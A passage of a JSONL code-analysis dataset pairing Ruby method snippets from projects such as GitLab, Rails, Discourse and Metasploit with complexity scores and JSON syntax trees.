pjl.info_id\n\n pjl.end_job\n disconnect\n\n if id\n print_good(\"#{ip}:#{rport} - #{id}\")\n report_service(\n :host => ip,\n :port => rport,\n :proto => \"tcp\",\n :name => \"jetdirect\",\n :info => id\n )\n end\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"pjl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"PJL\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"sock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"begin_job\"]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"info_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pjl\"]},\"end_job\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"jetdirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},null]}]}]}","id":"6f482d72-8be9-4758-bbe6-c0a9d8523280"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/profiler.rb","start_line":139,"raw_source":"def self.with_user(user)\n if user\n API::Helpers::CommonHelpers.send(:define_method, :find_current_user!) { user } # rubocop:disable GitlabSecurity/PublicSend\n ApplicationController.send(:define_method, :current_user) { user } # rubocop:disable GitlabSecurity/PublicSend\n ApplicationController.send(:define_method, :authenticate_user!) {} # rubocop:disable GitlabSecurity/PublicSend\n end\n\n yield.tap do\n remove_method(API::Helpers::CommonHelpers, :find_current_user!)\n remove_method(ApplicationController, :current_user)\n remove_method(ApplicationController, :authenticate_user!)\n end\n end","complexity_score":25.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Helpers\"]},\"CommonHelpers\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"find_current_user!\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},\"send\",{\"type\":\"sym\",\"children\":[\"define_method\"]},{\"type\":\"sym\",\"children\":[\"authenticate_user!\"]}]},{\"type\":\"args\",\"children\":[]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Helpers\"]},\"CommonHelpers\"]},{\"type\":\"sym\",\"children\":[\"find_current_user!\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},{\"type\":\"sym\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_method\",{\"type\":\"const\",\"children\":[null,\"ApplicationController\"]},{\"type\":\"sym\",\"children\":[\"authenticate_user!\"]}]}]}]}]}]}","id":"6095a458-64f0-414f-a09d-4e9376775122"} {"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/soundcloud_tag_spec.rb","start_line":14,"raw_source":"def extract_iframe_src(rendered_iframe)\n parsed_iframe = Nokogiri.HTML(rendered_iframe)\n iframe_src = parsed_iframe.xpath(\"//iframe/@src\")\n CGI.parse(iframe_src[0].value)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_iframe_src\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rendered_iframe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_iframe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"lvar\",\"children\":[\"rendered_iframe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iframe_src\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_iframe\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//iframe/@src\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"iframe_src\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]}]}]}","id":"e62f5edb-da7d-4848-9948-8d79b8d9231f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/build_service.rb","start_line":24,"raw_source":"def self.build_merge_request_unmergeable_recipients(...)\n ::NotificationRecipients::Builder::MergeRequestUnmergeable.new(...).notification_recipients\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_merge_request_unmergeable_recipients\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"NotificationRecipients\"]},\"Builder\"]},\"MergeRequestUnmergeable\"]},\"new\",{\"type\":\"forwarded_args\",\"children\":[]}]},\"notification_recipients\"]}]}","id":"88564dbc-37e8-4084-bc19-dbe48d164d1a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/delete_orphaned_build_records.rb","start_line":14,"raw_source":"def perform\n distinct_each_batch do |batch|\n pipeline_ids = batch.pluck(batch_column)\n pipelines_query = CiPipeline\n .where('p_ci_builds.commit_id = p_ci_pipelines.id')\n .where('p_ci_builds.partition_id = p_ci_pipelines.partition_id')\n .select(1)\n\n base_relation\n .where(batch_column => pipeline_ids)\n .where('NOT EXISTS (?)', pipelines_query)\n .delete_all\n end\n end","complexity_score":19.35,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distinct_each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"pluck\",{\"type\":\"send\",\"children\":[null,\"batch_column\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipelines_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiPipeline\"]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds.commit_id = p_ci_pipelines.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds.partition_id = p_ci_pipelines.partition_id\"]}]},\"select\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batch_column\"]},{\"type\":\"lvar\",\"children\":[\"pipeline_ids\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"NOT EXISTS (?)\"]},{\"type\":\"lvar\",\"children\":[\"pipelines_query\"]}]},\"delete_all\"]}]}]}]}","id":"8e4423dd-9d6d-4c41-8cd2-a65a4f3e0ed7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/git/lfs/response.rb","start_line":54,"raw_source":"def valid_objects?(repo_objects)\n repo_objects = [ repo_objects ] unless repo_objects.kind_of?(Array)\n\n return false if repo_objects.empty?\n\n validate_requested_objects(repo_objects)\n @valid_objs.all? { |obj| @requested_oids.include?(self.class.obj_sha256(obj.content)) } \n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_objects?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repo_objects\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"repo_objects\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo_objects\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"validate_requested_objects\",{\"type\":\"lvar\",\"children\":[\"repo_objects\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@valid_objs\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@requested_oids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"obj_sha256\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"content\"]}]}]}]}]}]}","id":"c04f221c-4af3-46af-b741-8b41e768ee52"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/inactive_projects_deletion_cron_worker.rb","start_line":80,"raw_source":"def send_notification(project)\n ::Projects::InactiveProjectsDeletionNotificationWorker.perform_async(project.id, deletion_date)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"InactiveProjectsDeletionNotificationWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},{\"type\":\"send\",\"children\":[null,\"deletion_date\"]}]}]}","id":"161f809e-e6c0-488d-8131-30949e4be0fc"} {"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb","start_line":12,"raw_source":"def initialize(checker, defaults, file_content)\n @checker = checker\n @defaults = defaults\n @file_content = file_content\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"checker\"]},{\"type\":\"arg\",\"children\":[\"defaults\"]},{\"type\":\"arg\",\"children\":[\"file_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@checker\",{\"type\":\"lvar\",\"children\":[\"checker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@defaults\",{\"type\":\"lvar\",\"children\":[\"defaults\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@file_content\",{\"type\":\"lvar\",\"children\":[\"file_content\"]}]}]}]}","id":"5ead03cb-dc3e-48f5-9868-7eef10c1a0e4"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/dirty.rb","start_line":118,"raw_source":"def saved_changes\n mutations_before_last_save.changes\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"saved_changes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutations_before_last_save\"]},\"changes\"]}]}","id":"ddde1baf-c502-4f0e-b50b-583a31b354c2"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/sexp_extensions/methods.rb","start_line":44,"raw_source":"def name\n children.first\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"children\"]},\"first\"]}]}","id":"4465db01-e7b4-4046-8510-7e016bea1352"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/query_analyzers/restrict_allowed_schemas.rb","start_line":107,"raw_source":"def ddl_mode?\n !self.dml_mode?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ddl_mode?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dml_mode?\"]},\"!\"]}]}","id":"478b0968-57ef-4d40-8558-4a2d5c8decd0"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":297,"raw_source":"def shutdown\n @shutdown_start_time = Fluent::Clock.now\n # during shutdown phase, don't close io. It should be done in close after all threads are stopped. See close.\n stop_watchers(existence_path, immediate: true, remove_watcher: false)\n @tails_rotate_wait.keys.each do |tw|\n detach_watcher(tw, @tails_rotate_wait[tw][:ino], false)\n end\n @pf_file.close if @pf_file\n\n super\n end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"shutdown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@shutdown_start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Clock\"]},\"now\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_watchers\",{\"type\":\"send\",\"children\":[null,\"existence_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"immediate\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_watcher\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails_rotate_wait\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tw\"]}]},{\"type\":\"send\",\"children\":[null,\"detach_watcher\",{\"type\":\"lvar\",\"children\":[\"tw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tails_rotate_wait\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tw\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"ino\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pf_file\"]},\"close\"]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5910c9dc-1d7b-44f8-b2b1-4f25569547ac"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":863,"raw_source":"def self.next_post_number(topic_id, opts = {})\n highest =\n DB\n .query_single(\n \"SELECT coalesce(max(post_number),0) AS max FROM posts WHERE topic_id = ?\",\n topic_id,\n )\n .first\n .to_i\n\n if opts[:whisper]\n result = DB.query_single(<<~SQL, highest, topic_id)\n UPDATE topics\n SET highest_staff_post_number = ? + 1\n WHERE id = ?\n RETURNING highest_staff_post_number\n SQL\n\n result.first.to_i\n else\n reply_sql = opts[:reply] ? \", reply_count = reply_count + 1\" : \"\"\n posts_sql = opts[:post] ? \", posts_count = posts_count + 1\" : \"\"\n\n result = DB.query_single(<<~SQL, highest: highest, topic_id: topic_id)\n UPDATE topics\n SET highest_staff_post_number = :highest + 1,\n highest_post_number = :highest + 1\n #{reply_sql}\n #{posts_sql}\n WHERE id = :topic_id\n RETURNING highest_post_number\n SQL\n\n result.first.to_i\n end\n end","complexity_score":24.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next_post_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_id\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"highest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT coalesce(max(post_number),0) AS max FROM posts WHERE topic_id = ?\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},\"first\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"whisper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topics\\n\"]},{\"type\":\"str\",\"children\":[\"SET highest_staff_post_number = ? + 1\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id = ?\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING highest_staff_post_number\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"highest\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reply_sql\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reply\"]}]},{\"type\":\"str\",\"children\":[\", reply_count = reply_count + 1\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts_sql\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"str\",\"children\":[\", posts_count = posts_count + 1\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE topics\\n\"]},{\"type\":\"str\",\"children\":[\"SET highest_staff_post_number = :highest + 1,\\n\"]},{\"type\":\"str\",\"children\":[\" highest_post_number = :highest + 1\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reply_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts_sql\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE id = :topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING highest_post_number\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highest\"]},{\"type\":\"lvar\",\"children\":[\"highest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"to_i\"]}]}]}]}]}","id":"bbfc97d2-ae78-444a-94c7-0cb7a08da57a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/directories_controller.rb","start_line":18,"raw_source":"def set_accounts\n with_read_replica do\n @accounts = accounts_scope.offset(params[:offset]).limit(limit_param(DEFAULT_ACCOUNTS_LIMIT))\n end\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_accounts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_read_replica\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accounts_scope\"]},\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_ACCOUNTS_LIMIT\"]}]}]}]}]}]}","id":"fd530f34-de80-4f3b-b766-70def4aea5f7"} {"repo_name":"puma","file_path":"./repos/puma/test/test_binder.rb","start_line":521,"raw_source":"def test_binder_parses_jruby_ssl_options\n skip_unless :ssl\n\n cipher_suites = ['TLS_DHE_RSA_WITH_AES_128_CBC_SHA', 'TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256']\n\n @binder.parse [\"ssl://0.0.0.0:8080?#{ssl_query}\"], @log_writer\n\n assert_equal @keystore, ssl_context_for_binder.keystore\n assert_equal cipher_suites, ssl_context_for_binder.cipher_suites\n assert_equal cipher_suites, ssl_context_for_binder.ssl_cipher_list\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_binder_parses_jruby_ssl_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cipher_suites\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"TLS_DHE_RSA_WITH_AES_128_CBC_SHA\"]},{\"type\":\"str\",\"children\":[\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"parse\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ssl://0.0.0.0:8080?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_query\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@keystore\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"keystore\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"cipher_suites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"cipher_suites\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"cipher_suites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_context_for_binder\"]},\"ssl_cipher_list\"]}]}]}]}","id":"ce924e25-a755-40d0-8cc0-667b2b3d2510"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/watchdog/monitor/heap_fragmentation.rb","start_line":37,"raw_source":"def init_frag_limit_metrics\n heap_frag_limit = Gitlab::Metrics.gauge(\n :gitlab_memwd_heap_frag_limit,\n 'The configured limit for how fragmented the Ruby heap is allowed to be'\n )\n heap_frag_limit.set({}, max_heap_fragmentation)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"init_frag_limit_metrics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heap_frag_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"gauge\",{\"type\":\"sym\",\"children\":[\"gitlab_memwd_heap_frag_limit\"]},{\"type\":\"str\",\"children\":[\"The configured limit for how fragmented the Ruby heap is allowed to be\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heap_frag_limit\"]},\"set\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"max_heap_fragmentation\"]}]}]}]}","id":"3af2e085-590d-41a1-a149-27fe89c7c1da"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/core/routes.rb","start_line":20,"raw_source":"def self.append_routes(&block)\n @append_routes ||= []\n # See comment in add_routes.\n @append_routes << block unless @append_routes.include?(block)\n end","complexity_score":4.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"append_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@append_routes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append_routes\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append_routes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"6b9e6a37-78cb-4b67-8ff9-a6069caa5c7c"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature.rb","start_line":85,"raw_source":"def self.feature_all_children(identifier, sort = true)\n children = feature_children(identifier, false)\n return [] if children.empty?\n\n result = children + children.flat_map { |c| feature_all_children(c, false) }\n sort ? sort_children(result) : result\n 